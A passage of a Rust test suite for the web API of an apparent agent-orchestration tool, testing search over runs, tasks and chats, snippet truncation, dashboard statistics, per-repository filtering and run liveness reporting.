10077 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10078 "{v}"
10079 );
10080 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10081 assert_eq!(
10082 flat, "The Quokka leaks across threads",
10083 "whitespace is collapsed"
10084 );
10085
10086 let both = f
10088 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10089 .await
10090 .json();
10091 assert_eq!(both["total"], 1, "{both}");
10092 let neither = f
10093 .get("/api/search?scope=runs&q=quokka%20zebra")
10094 .await
10095 .json();
10096 assert_eq!(neither["total"], 0, "{neither}");
10097 let stmt = f
10099 .get("/api/search?scope=runs&q=mobile%20first")
10100 .await
10101 .json();
10102 assert_eq!(stmt["total"], 2, "{stmt}");
10103 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10104 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10105 }
10106
10107 #[test]
10108 fn snippet_ignores_terms_longer_than_the_field() {
10109 let terms = ["ok".to_owned(), "elephant".to_owned()];
10110 let parts = snippet_of("ok", &terms);
10111 assert_eq!(
10112 parts,
10113 vec![SnippetPart {
10114 text: "ok".to_owned(),
10115 hit: true
10116 }]
10117 );
10118 }
10119
10120 #[test]
10121 fn snippet_marks_matches_longer_than_the_window() {
10122 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10123 let hit_len = |parts: &[SnippetPart]| -> usize {
10124 parts
10125 .iter()
10126 .filter(|p| p.hit)
10127 .map(|p| p.text.chars().count())
10128 .sum()
10129 };
10130 let total =
10131 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10132
10133 let long = "a".repeat(120);
10134 let parts = snippet_of(&long, std::slice::from_ref(&long));
10135 assert!(hit_len(&parts) > 0, "{parts:?}");
10136 assert!(total(&parts) <= cap);
10137
10138 let ja = "あ".repeat(130);
10139 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10140 assert!(hit_len(&parts) > 0, "{parts:?}");
10141 assert!(total(&parts) <= cap);
10142
10143 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10145 let term = format!("ab{}", "c".repeat(100));
10146 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10147 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10148 assert!(total(&parts) <= cap);
10149
10150 let text = format!("{}z", "a".repeat(119));
10152 let parts = snippet_of(&text, &["a".repeat(120)]);
10153 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10154 }
10155
10156 #[tokio::test]
10157 async fn search_caps_hits_and_snippet_length() {
10158 let f = Fixture::start().await;
10159 let runs = f.runs();
10160 for n in 0..(SEARCH_MAX_HITS + 5) {
10161 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10162 }
10163 let v = f.get("/api/search?scope=runs&q=web").await.json();
10164 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10165 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10166 assert_eq!(v["truncated"], true);
10167 assert!(
10169 v["hits"]
10170 .as_array()
10171 .unwrap()
10172 .iter()
10173 .all(|h| h["run"]["status"] == "merged")
10174 );
10175
10176 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10177 let parts = snippet_of(&long, &["needle".to_owned()]);
10178 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10179 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10180 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10181 }
10182
10183 #[tokio::test]
10184 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10185 let f = Fixture::start().await;
10186 let queue = f.queue();
10187 let mut t = Task::new(
10188 "short title".to_owned(),
10189 "line one\nthe hidden Armadillo detail".to_owned(),
10190 PathBuf::from("/repo/magi"),
10191 Source::Agent {
10192 run: "r1".to_owned(),
10193 node: "chat".to_owned(),
10194 },
10195 );
10196 t.last_error = Some("disk full on /tmp".to_owned());
10197 queue.put(&mut t).expect("file the task");
10198
10199 for (q, want) in [
10200 ("armadillo", 1),
10201 ("disk%20FULL", 1),
10202 ("chat", 1),
10203 ("queued", 1),
10204 ("short%20nothing", 0),
10205 ] {
10206 let v = f
10207 .get(&format!("/api/search?scope=tasks&q={q}"))
10208 .await
10209 .json();
10210 assert_eq!(v["total"], want, "{q}: {v}");
10211 }
10212 for bad in [
10213 "/api/search?scope=tasks&q=",
10214 "/api/search?scope=tasks&q=%20",
10215 "/api/search?scope=chats&q=",
10216 "/api/search?scope=chats&q=%20",
10217 "/api/search?scope=nope&q=a",
10218 "/api/search?q=a",
10219 ] {
10220 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10221 }
10222 }
10223
10224 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10226 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10227 .expect("seat value");
10228 let turns: Vec<serde_json::Value> = turns
10229 .iter()
10230 .map(|(who, body)| {
10231 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10232 })
10233 .collect();
10234 let doc = serde_json::json!({
10235 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10236 "status": status, "turns": turns,
10237 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10238 "seat": seat,
10239 });
10240 let dir = f.home.path().join("talks");
10241 std::fs::create_dir_all(&dir).expect("talks dir");
10242 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10243 }
10244
10245 #[tokio::test]
10246 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10247 let f = Fixture::start().await;
10248 write_talk(
10249 &f,
10250 "20260901-000001-aaaa",
10251 "open",
10252 &[
10253 (
10254 "operator",
10255 "\n Why does the Pangolin cache expire?\nsecond line",
10256 ),
10257 ("agent", "Because the TTL is thirty seconds."),
10258 ],
10259 );
10260 write_talk(
10261 &f,
10262 "20260901-000002-bbbb",
10263 "closed",
10264 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10265 );
10266 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10267
10268 let search = |q: &'static str| {
10269 let f = &f;
10270 async move {
10271 f.get(&format!("/api/search?scope=chats&q={q}"))
10272 .await
10273 .json()
10274 }
10275 };
10276
10277 let v = search("PANGOLIN").await;
10278 assert_eq!(v["scope"], "chats");
10279 assert_eq!(v["total"], 1, "{v}");
10280 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10281 assert_eq!(v["hits"][0]["field"], "title");
10282 assert_eq!(v["unreadable"], 1, "{v}");
10283 let marked: Vec<&str> = v["hits"][0]["snippet"]
10284 .as_array()
10285 .unwrap()
10286 .iter()
10287 .filter(|p| p["hit"] == true)
10288 .map(|p| p["text"].as_str().unwrap())
10289 .collect();
10290 assert_eq!(marked, ["Pangolin"]);
10291
10292 let v = search("zebra").await;
10294 assert_eq!(v["total"], 1, "{v}");
10295 assert_eq!(v["hits"][0]["field"], "agent");
10296 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10298 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10299 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10301 assert_eq!(search(q).await["total"], 0, "{q}");
10302 }
10303 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10305 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10307
10308 let v = f.get("/api/search?scope=nope&q=a").await;
10309 assert_eq!(v.status, 400);
10310 assert!(
10311 v.body.contains("scope must be runs, tasks or chats"),
10312 "{}",
10313 v.body
10314 );
10315 }
10316
10317 #[test]
10318 fn a_question_card_links_a_task_id_to_the_task_page() {
10319 let start = APP_JS
10320 .find("function updateAskCard(")
10321 .expect("updateAskCard exists");
10322 let body = &APP_JS[start..];
10323 let body = &body[..body.find("\n}\n").expect("function end")];
10324 assert!(body.contains("question.run_is_task"));
10325 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10326 assert!(body.contains("`#/runs/${question.run}`"));
10327 assert!(body.contains("\"task\" : \"run\""));
10328 }
10329
10330 #[test]
10331 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10332 let start = APP_JS
10333 .find("function scheduleSearch(")
10334 .expect("scheduleSearch exists");
10335 let body = &APP_JS[start..];
10336 let body = &body[..body.find("\n}\n").expect("function end")];
10337 assert!(body.contains("s.seq += 1"));
10338 }
10339
10340 #[tokio::test]
10345 async fn stats_runs_unreadable_matches_health() {
10346 let f = Fixture::start().await;
10347 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10348 let broken = f.runs().join("20260902-140502-bad");
10349 std::fs::create_dir_all(&broken).expect("run dir");
10350 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10351
10352 let stats = f.get("/api/stats").await;
10353 let health = f.get("/api/health").await;
10354
10355 assert_eq!(stats.status, 200);
10356 assert_eq!(stats.json()["totals"]["runs"], 1);
10357 assert_eq!(stats.json()["runs_unreadable"], 1);
10358 assert_eq!(
10359 stats.json()["runs_unreadable"],
10360 health.json()["runs_unreadable"],
10361 "the dashboard and /api/health must never disagree about how many \
10362 runs could not be read"
10363 );
10364 }
10365
10366 #[tokio::test]
10367 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10368 let f = Fixture::start().await;
10369 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10370 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10371 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10372
10373 let totals = &f.get("/api/stats").await.json()["totals"];
10374 assert_eq!(totals["runs"], 3);
10375 assert_eq!(totals["merged"], 1);
10376 assert_eq!(totals["stalled"], 1);
10377 assert_eq!(totals["in_progress"], 1);
10378 assert_eq!(totals["blocked"], 0);
10381 assert_eq!(totals["ready"], 0);
10382 }
10383
10384 #[tokio::test]
10385 async fn stats_advisors_report_proposals_and_reflection() {
10386 use crate::advise::{Advice, AdvisorRecord, Reflection};
10387 use crate::verdict::Proposal;
10388
10389 let f = Fixture::start().await;
10390 let mut state = RunState::new(
10391 PathBuf::from("/repo/magi"),
10392 "main".to_owned(),
10393 "0123456789abcdef".to_owned(),
10394 "task".to_owned(),
10395 Config::default(),
10396 );
10397 state.id = "20260902-140501-a".to_owned();
10398 state.status = RunStatus::Merged;
10399 state.advice = Some(Advice {
10400 records: vec![
10401 AdvisorRecord {
10402 seat: "advisor-1".to_owned(),
10403 agent: "alpha".to_owned(),
10404 proposal: Some(Proposal {
10405 approach: "do it".to_owned(),
10406 key_tradeoff: "speed over memory".to_owned(),
10407 risks: Vec::new(),
10408 touches: Vec::new(),
10409 why_not_naive: "breaks under load".to_owned(),
10410 }),
10411 error: None,
10412 duration_ms: 0,
10413 reflection: Reflection::Strong,
10414 },
10415 AdvisorRecord {
10416 seat: "advisor-2".to_owned(),
10417 agent: "alpha".to_owned(),
10418 proposal: None,
10419 error: Some("timed out".to_owned()),
10420 duration_ms: 0,
10421 reflection: Reflection::Absent,
10422 },
10423 ],
10424 synthesis: Some("blended brief".to_owned()),
10425 });
10426 let dir = f.runs().join(&state.id);
10427 std::fs::create_dir_all(&dir).expect("run dir");
10428 std::fs::write(
10429 dir.join("run.json"),
10430 serde_json::to_string_pretty(&state).expect("serialize run"),
10431 )
10432 .expect("write run.json");
10433
10434 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10435 let alpha = advisors
10436 .as_array()
10437 .expect("an array")
10438 .iter()
10439 .find(|a| a["agent"] == "alpha")
10440 .expect("alpha row");
10441 assert_eq!(alpha["seated"], 2);
10442 assert_eq!(alpha["proposed"], 1);
10443 assert_eq!(alpha["absent"], 1);
10444 assert_eq!(alpha["strong"], 1);
10445 assert_eq!(alpha["faint"], 0);
10446 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10447 }
10448
10449 #[tokio::test]
10450 async fn stats_release_bumps_split_clean_from_attention() {
10451 use crate::run::ReleaseBump;
10452
10453 let f = Fixture::start().await;
10454
10455 let mut clean = RunState::new(
10456 PathBuf::from("/repo/magi"),
10457 "main".to_owned(),
10458 "0123456789abcdef".to_owned(),
10459 "task".to_owned(),
10460 Config::default(),
10461 );
10462 clean.id = "20260902-140501-a".to_owned();
10463 clean.status = RunStatus::Merged;
10464 clean.release_bump = Some(ReleaseBump {
10465 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10466 version: Some("1.0.0".to_owned()),
10467 automerge_enabled: true,
10468 merged_directly: false,
10469 local: false,
10470 release: None,
10471 problem: None,
10472 action_required: None,
10473 });
10474
10475 let mut blocked = RunState::new(
10476 PathBuf::from("/repo/magi"),
10477 "main".to_owned(),
10478 "0123456789abcdef".to_owned(),
10479 "task".to_owned(),
10480 Config::default(),
10481 );
10482 blocked.id = "20260902-140502-b".to_owned();
10483 blocked.status = RunStatus::Merged;
10484 blocked.release_bump = Some(ReleaseBump {
10485 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10486 version: Some("1.0.1".to_owned()),
10487 automerge_enabled: false,
10488 merged_directly: false,
10489 local: false,
10490 release: None,
10491 problem: Some("checks red".to_owned()),
10492 action_required: Some("look at the PR".to_owned()),
10493 });
10494
10495 for state in [&clean, &blocked] {
10496 let dir = f.runs().join(&state.id);
10497 std::fs::create_dir_all(&dir).expect("run dir");
10498 std::fs::write(
10499 dir.join("run.json"),
10500 serde_json::to_string_pretty(state).expect("serialize run"),
10501 )
10502 .expect("write run.json");
10503 }
10504
10505 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10506 assert_eq!(bumps["merged"], 2);
10507 assert_eq!(bumps["recorded"], 2);
10508 assert_eq!(bumps["pr_opened"], 2);
10509 assert_eq!(bumps["automerge_enabled"], 1);
10510 assert_eq!(bumps["needs_attention"], 1);
10511 assert_eq!(bumps["clean"], 1);
10512 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10513 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10514 }
10515
10516 #[tokio::test]
10517 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10518 let f = Fixture::start().await;
10519 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10520
10521 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10522 assert_eq!(bumps["merged"], 1);
10523 assert_eq!(bumps["recorded"], 0);
10524 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10527 assert_eq!(bumps["automerge_rate"], Value::Null);
10530 assert_eq!(bumps["attention_rate"], Value::Null);
10531 }
10532
10533 #[tokio::test]
10534 async fn stats_queue_counts_come_from_the_live_queue() {
10535 let f = Fixture::start().await;
10536 let q = f.queue();
10537 let mut queued = Task::new(
10538 "queued task".to_owned(),
10539 "do it".to_owned(),
10540 PathBuf::from("/repo"),
10541 Source::Human,
10542 );
10543 q.put(&mut queued).expect("put queued");
10544 let mut held = Task::new(
10545 "held task".to_owned(),
10546 "do it later".to_owned(),
10547 PathBuf::from("/repo"),
10548 Source::Human,
10549 );
10550 held.hold_machine(Some("out of attempts".to_owned()));
10551 q.put(&mut held).expect("put held");
10552
10553 let queue = f.get("/api/stats").await.json()["queue"].clone();
10554 assert_eq!(queue["queued"], 1);
10555 assert_eq!(queue["held"], 1);
10556 assert_eq!(queue["running"], 0);
10557 assert_eq!(queue["done"], 0);
10558 assert_eq!(queue["failed"], 0);
10559 assert_eq!(queue["blocked"], 0);
10560 }
10561
10562 #[tokio::test]
10563 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10564 let f = Fixture::start().await;
10565 let stats = f.get("/api/stats").await;
10566 assert_eq!(stats.status, 200);
10567 assert_eq!(stats.json()["totals"]["runs"], 0);
10568 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10569 assert_eq!(stats.json()["runs_unreadable"], 0);
10570 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10571 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10572 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10573 assert_eq!(stats.json()["repo"], Value::Null);
10574 }
10575
10576 #[tokio::test]
10577 async fn stats_lists_every_repository_with_runs_recorded() {
10578 let f = Fixture::start().await;
10579 write_run_repo(
10580 &f.runs(),
10581 "20260902-140501-a",
10582 RunStatus::Merged,
10583 "/repos/a",
10584 );
10585 write_run_repo(
10586 &f.runs(),
10587 "20260902-140502-b",
10588 RunStatus::Merged,
10589 "/repos/a",
10590 );
10591 write_run_repo(
10592 &f.runs(),
10593 "20260902-140503-c",
10594 RunStatus::Blocked,
10595 "/repos/b",
10596 );
10597
10598 let stats = f.get("/api/stats").await;
10599 assert_eq!(stats.status, 200);
10600 assert_eq!(stats.json()["totals"]["runs"], 3);
10602 assert_eq!(stats.json()["repo"], Value::Null);
10603
10604 let repos = stats.json()["repos"].clone();
10605 let repos = repos.as_array().unwrap();
10606 assert_eq!(repos.len(), 2);
10607 assert_eq!(repos[0]["repo"], "/repos/a");
10609 assert_eq!(repos[0]["name"], "a");
10610 assert_eq!(repos[0]["runs"], 2);
10611 assert_eq!(repos[1]["repo"], "/repos/b");
10612 assert_eq!(repos[1]["runs"], 1);
10613 }
10614
10615 #[tokio::test]
10616 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10617 let f = Fixture::start().await;
10618 write_run_repo(
10619 &f.runs(),
10620 "20260902-140501-a",
10621 RunStatus::Merged,
10622 "/repos/a",
10623 );
10624 write_run_repo(
10625 &f.runs(),
10626 "20260902-140502-b",
10627 RunStatus::Blocked,
10628 "/repos/b",
10629 );
10630
10631 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10632 assert_eq!(stats.status, 200);
10633 assert_eq!(stats.json()["totals"]["runs"], 1);
10634 assert_eq!(stats.json()["totals"]["merged"], 1);
10635 assert_eq!(stats.json()["repo"], "/repos/a");
10636 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10639 assert_eq!(stats.json()["runs_unreadable"], 0);
10642 }
10643
10644 #[tokio::test]
10645 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10646 let f = Fixture::start().await;
10647 write_run_repo(
10648 &f.runs(),
10649 "20260902-140501-a",
10650 RunStatus::Merged,
10651 "/repos/a",
10652 );
10653
10654 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10655 assert_eq!(stats.status, 404);
10656 }
10657
10658 #[tokio::test]
10659 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10660 let f = Fixture::start().await;
10661 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10662
10663 let summary = f.get("/api/runs").await.json();
10664 let row = &summary[0];
10665 assert_eq!(row["short"], "a1b2");
10666 assert_eq!(row["status"], "ready");
10667 assert_eq!(row["done"], true);
10668 assert_eq!(row["title"], "Add a web UI");
10669 assert_eq!(row["repo_name"], "magi");
10670 assert_eq!(row["judges"], 3);
10671 assert_eq!(row["winner"], Value::Null);
10672 assert_eq!(row["reviews"], 0);
10673
10674 let detail = f.get("/api/runs/a1b2").await;
10677 assert_eq!(detail.status, 200);
10678 assert_eq!(detail.json()["base_branch"], "main");
10679 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10680 }
10681
10682 #[tokio::test]
10690 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10691 let f = Fixture::start().await;
10692
10693 let mut none_run = RunState::new(
10694 PathBuf::from("/repo/magi"),
10695 "main".to_owned(),
10696 "0123456789abcdef".to_owned(),
10697 "Add a web UI".to_owned(),
10698 Config::default(),
10699 );
10700 none_run.id = "20260902-140503-none".to_owned();
10701 none_run.status = RunStatus::Ready;
10702 none_run.merge = Some(crate::run::MergeOutcome {
10703 mode: crate::config::MergeMode::None,
10704 ok: true,
10705 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10706 empty: false,
10707 });
10708 write_state(&f.runs(), &none_run);
10709
10710 let mut pr_run = RunState::new(
10711 PathBuf::from("/repo/magi"),
10712 "main".to_owned(),
10713 "0123456789abcdef".to_owned(),
10714 "Add a web UI".to_owned(),
10715 Config::default(),
10716 );
10717 pr_run.id = "20260902-140504-prcl".to_owned();
10718 pr_run.status = RunStatus::Ready;
10719 pr_run.merge = Some(crate::run::MergeOutcome {
10720 mode: crate::config::MergeMode::Pr,
10721 ok: false,
10722 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10723 empty: false,
10724 });
10725 write_state(&f.runs(), &pr_run);
10726
10727 let summary = f.get("/api/runs").await.json();
10728 let rows: std::collections::HashMap<&str, &Value> = summary
10729 .as_array()
10730 .expect("an array")
10731 .iter()
10732 .map(|r| (r["id"].as_str().expect("an id"), r))
10733 .collect();
10734 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10735 assert_eq!(
10736 rows[none_run.id.as_str()]["unmerged_by_design"],
10737 true,
10738 "a mode-none Ready must be flagged in the list"
10739 );
10740 assert_eq!(
10741 rows[pr_run.id.as_str()]["unmerged_by_design"],
10742 false,
10743 "a Ready reached by a closed pull request is a different case"
10744 );
10745
10746 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10747 assert_eq!(none_detail["status"], "ready");
10748 assert_eq!(none_detail["unmerged_by_design"], true);
10749
10750 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10751 assert_eq!(pr_detail["unmerged_by_design"], false);
10752 }
10753
10754 #[tokio::test]
10759 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10760 let f = Fixture::start().await;
10761 let id = "20260902-140502-bbbb";
10765 let mut state = RunState::new(
10766 PathBuf::from("/repo/magi"),
10767 "main".to_owned(),
10768 "0123456789abcdef".to_owned(),
10769 "Add a web UI".to_owned(),
10770 Config::default(),
10771 );
10772 state.id = id.to_owned();
10773 state.status = RunStatus::Judging;
10774 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10775 let dir = f.runs().join(id);
10776 std::fs::create_dir_all(&dir).expect("run dir");
10777 std::fs::write(
10778 dir.join("run.json"),
10779 serde_json::to_string_pretty(&state).expect("serialize run"),
10780 )
10781 .expect("write run.json");
10782
10783 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10789 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10790 assert_eq!(cold["live"], "unknown", "{cold}");
10791
10792 write_daemon(f.home.path(), Timestamp::now());
10795 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10796 assert_eq!(warm["live"], "live", "{warm}");
10797 }
10798
10799 #[tokio::test]
10802 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10803 let f = Fixture::start().await;
10804 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10805 let mut state = RunState::new(
10806 PathBuf::from("/repo/magi"),
10807 "main".to_owned(),
10808 "0123456789abcdef".to_owned(),
10809 "Add a web UI".to_owned(),
10810 Config::default(),
10811 );
10812 state.id = id.to_owned();
10813 state.origin = origin;
10814 let mut value = serde_json::to_value(&state).expect("serialize run");
10815 if let Some(schema) = schema {
10816 value["schema"] = serde_json::json!(schema);
10817 value.as_object_mut().unwrap().remove("origin");
10818 }
10819 let dir = f.runs().join(id);
10820 std::fs::create_dir_all(&dir).expect("run dir");
10821 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10822 };
10823 write(
10824 "20260930-092817-ec34",
10825 Some(crate::run::Origin::from_agent_env(
10826 Some(("4a7b".to_owned(), "chat".to_owned())),
10827 None,
10828 )),
10829 None,
10830 );
10831 write("20260930-092817-0ld1", None, Some(12));
10832
10833 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10834 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10835 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10836
10837 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10838 assert_eq!(
10839 old["origin_label"], "origin unknown (started before origins were recorded)",
10840 "{old}"
10841 );
10842 assert!(old["origin"].is_null(), "{old}");
10843
10844 let list = f.get("/api/runs").await.json();
10845 let labels: Vec<_> = list
10846 .as_array()
10847 .unwrap()
10848 .iter()
10849 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10850 .collect();
10851 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10852 }
10853
10854 #[tokio::test]
10861 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10862 let f = Fixture::start().await;
10863 let id = "20260922-090000-cccc";
10864 let mut state = RunState::new(
10865 PathBuf::from("/repo/magi"),
10866 "main".to_owned(),
10867 "0123456789abcdef".to_owned(),
10868 "Review only".to_owned(),
10869 Config::default(),
10870 );
10871 state.id = id.to_owned();
10872 state.status = RunStatus::Reviewing;
10873 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10874 state.driver_pid = Some(std::process::id());
10880 state.driver_started_at = Some(
10881 crate::proc::process_started_at(std::process::id())
10882 .expect("this test process's own start time must be queryable"),
10883 );
10884 let dir = f.runs().join(id);
10885 std::fs::create_dir_all(&dir).expect("run dir");
10886 std::fs::write(
10887 dir.join("run.json"),
10888 serde_json::to_string_pretty(&state).expect("serialize run"),
10889 )
10890 .expect("write run.json");
10891
10892 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10893 assert_eq!(detail["live"], "live", "{detail}");
10894 }
10895
10896 #[tokio::test]
10902 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10903 let f = Fixture::start().await;
10904 let id = "20260922-090100-dddd";
10905 let mut state = RunState::new(
10906 PathBuf::from("/repo/magi"),
10907 "main".to_owned(),
10908 "0123456789abcdef".to_owned(),
10909 "Review only".to_owned(),
10910 Config::default(),
10911 );
10912 state.id = id.to_owned();
10913 state.status = RunStatus::Reviewing;
10914 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10915 state.driver_pid = Some(std::process::id());
10920 state.driver_started_at = Some("1".to_owned());
10921 let dir = f.runs().join(id);
10922 std::fs::create_dir_all(&dir).expect("run dir");
10923 std::fs::write(
10924 dir.join("run.json"),
10925 serde_json::to_string_pretty(&state).expect("serialize run"),
10926 )
10927 .expect("write run.json");
10928
10929 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10930 assert_eq!(detail["live"], "dead", "{detail}");
10931 }
10932
10933 #[test]
10937 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10938 let mk = |id: &str, pid: Option<u32>| {
10939 let mut s = RunState::new(
10940 PathBuf::from("/repo/magi"),
10941 "main".to_owned(),
10942 "0123456789abcdef".to_owned(),
10943 "Add a web UI".to_owned(),
10944 Config::default(),
10945 );
10946 s.id = id.to_owned();
10947 s.driver_pid = pid;
10948 s.driver_started_at = Some("1790000000".to_owned());
10949 s
10950 };
10951 let states = vec![
10952 mk("20260902-140502-aaaa", Some(77)),
10953 mk("20260902-140502-bbbb", Some(77)),
10954 mk("20260902-140502-cccc", Some(77)),
10955 mk("20260902-140502-dddd", None),
10956 ];
10957 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10958 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10959 let sup: HashMap<String, String> = [(
10960 "20260902-140502-aaaa".to_owned(),
10961 "20260902-140502-cccc".to_owned(),
10962 )]
10963 .into();
10964
10965 let status_calls = std::cell::Cell::new(0);
10966 let identity_calls = std::cell::Cell::new(0);
10967 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10968 |_| {
10969 status_calls.set(status_calls.get() + 1);
10970 Some(true)
10971 },
10972 |_| {
10973 identity_calls.set(identity_calls.get() + 1);
10974 Some("1790000000".to_owned())
10975 },
10976 ));
10977 let rows = summarize(
10978 states,
10979 &open,
10980 &claimed,
10981 &sup,
10982 |p| probe.borrow_mut().status(p),
10983 |p| probe.borrow_mut().started_at(p),
10984 );
10985
10986 assert_eq!(status_calls.get(), 1, "one pid, one status query");
10987 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
10988 assert_eq!(rows.len(), 4);
10989 assert!(!rows[0].waiting && rows[1].waiting);
10990 assert_eq!(rows[0].live, crate::run::Liveness::Live);
10991 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
10992 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
10993 assert_eq!(rows[1].superseded_by, None);
10994 }
10995
10996 #[test]
10997 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
10998 let mut state = RunState::new(
10999 PathBuf::from("/repo/magi"),
11000 "main".to_owned(),
11001 "0123456789abcdef".to_owned(),
11002 "Review only".to_owned(),
11003 Config::default(),
11004 );
11005 state.id = "20260922-090200-dead".to_owned();
11006 state.status = RunStatus::Reviewing;
11007 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11008 .expect("serialize list row");
11009 assert_eq!(row["status"], "reviewing");
11010 assert_eq!(row["live"], "dead", "{row}");
11011 assert!(!row["done"].as_bool().unwrap());
11012 }
11013
11014 #[tokio::test]
11015 async fn the_run_list_is_newest_first_and_honours_a_limit() {
11016 let f = Fixture::start().await;
11017 for id in [
11018 "20260902-140501-aaaa",
11019 "20260902-140502-bbbb",
11020 "20260902-140503-cccc",
11021 ] {
11022 write_run(&f.runs(), id, RunStatus::Merged);
11023 }
11024
11025 let all = f.get("/api/runs").await.json();
11026 let capped = f.get("/api/runs?limit=2").await.json();
11027
11028 assert_eq!(all[0]["id"], "20260902-140503-cccc");
11029 assert_eq!(all.as_array().map(Vec::len), Some(3));
